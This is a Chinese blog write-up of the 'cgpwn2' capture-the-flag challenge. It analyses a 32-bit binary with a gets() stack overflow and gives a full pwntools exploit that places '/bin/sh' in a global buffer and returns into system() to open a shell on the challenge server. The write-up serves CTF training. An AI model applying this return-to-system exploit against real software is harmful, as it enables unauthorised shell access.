美文网首页
攻防世界 cgpwn2 wp(CGCTF)

攻防世界 cgpwn2 wp(CGCTF)

作者: 111p1kk | 来源:发表于2019-05-27 21:26 被阅读0次

0x01寻找漏洞

checksec

kk@ubuntu:~/Desktop/black/GFSJ/cgpwn2$ checksec ./cgpwn2 
[*] '/home/kk/Desktop/black/GFSJ/cgpwn2/cgpwn2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ida分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  hello();
  puts("thank you");
  return 0;
}

进入hello函数



发现gets(&s)处存在栈溢出



name在bss段中,或许可以利用fgets函数向其中进行写入点啥子⬅ 。⬅ 继续往下看
程序中调用了system函数

0x02分析利用

通过栈溢出漏洞,调用system函数,同时在name中写入"/bin/sh",把参数地址设置为name的首地址,就可以getshell了!

0x03攻击

#!usr/bin/python
from pwn import *

io = remote("111.198.29.45",39409)
# io = process("./cgpwn2")

context.log_level = 'debug'

sys_addr = 0x08048420

io.recvuntil("your name")
io.sendline("/bin/sh")

bin_sh_addr = 0x0804A080

io.recvuntil("leave some message here:")
payload  = "a" * 0x26 + "aaaa" + p32(sys_addr) + "aaaa" + p32(bin_sh_addr)


io.sendline(payload)

io.interactive()
kk@ubuntu:~/Desktop/black/GFSJ/cgpwn2$ python exp.py 
[+] Opening connection to 111.198.29.45 on port 39409: Done
[*] Switching to interactive mode

$ ls
bin
cgpwn2
dev
flag
lib
lib32
lib64
$ cat flag
cyberpeace{自己做吧口喜口喜}
$ 

相关文章

网友评论

      本文标题:攻防世界 cgpwn2 wp(CGCTF)

      本文链接:https://www.haomeiwen.com/subject/uqwktctx.html